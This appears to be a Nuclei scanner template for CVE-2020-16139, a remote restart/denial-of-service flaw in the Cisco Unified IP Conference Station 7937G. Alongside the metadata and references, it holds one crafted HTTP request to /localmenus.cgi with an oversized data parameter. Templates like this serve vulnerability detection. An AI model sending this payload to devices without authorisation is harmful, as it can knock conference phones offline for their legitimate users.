Cisco Unified IP Conference Station 7937G - Denial-of-Service

id: CVE-2020-16139

info:
  name: Cisco Unified IP Conference Station 7937G - Denial-of-Service
  author: pikpikcu
  severity: high
  description: |
    Cisco Unified IP Conference Station 7937G 1-4-4-0 through 1-4-5-7 allows attackers to restart the device remotely via specially crafted packets that can cause a denial-of-service condition. Note: We cannot prove this vulnerability exists. Out of an abundance of caution, this CVE is being assigned to better serve our customers and ensure all who are still running this product understand that the product is end of life and should be removed or upgraded.
  impact: |
    An attacker can exploit this vulnerability to disrupt the functionality of the conference station, leading to a denial of service for legitimate users.
  remediation: |
    Apply the latest firmware update provided by Cisco to mitigate this vulnerability.
  reference:
    - http://packetstormsecurity.com/files/158819/Cisco-7937G-Denial-Of-Service.html
    - https://www.cisco.com/c/en/us/products/collateral/collaboration-endpoints/unified-ip-phone-7940g/end_of_life_notice_c51-729487.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-16139
    - https://github.com/anonymous364872/Rapier_Tool
    - https://github.com/blacklanternsecurity/Cisco-7937G-PoCs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-16139
    epss-score: 0.7977
    epss-percentile: 0.99562
    cpe: cpe:2.3:o:cisco:unified_ip_conference_station_7937g_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: unified_ip_conference_station_7937g_firmware
  tags: cve,cve2020,dos,cisco,packetstorm,vkev,vuln

http:
  - raw:
      - |
        POST /localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/xml"

      - type: word
        words:
          - 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009706513ce522e091380e45280a319c6982738b66bafaae762e0e0acf8608a80602207c48cc9e0ef50d3b6d34bab4ed4ff2206878c77fe04e445e0746a1ac7cd8db8d:922c64590222798bb761d5b6d8e72950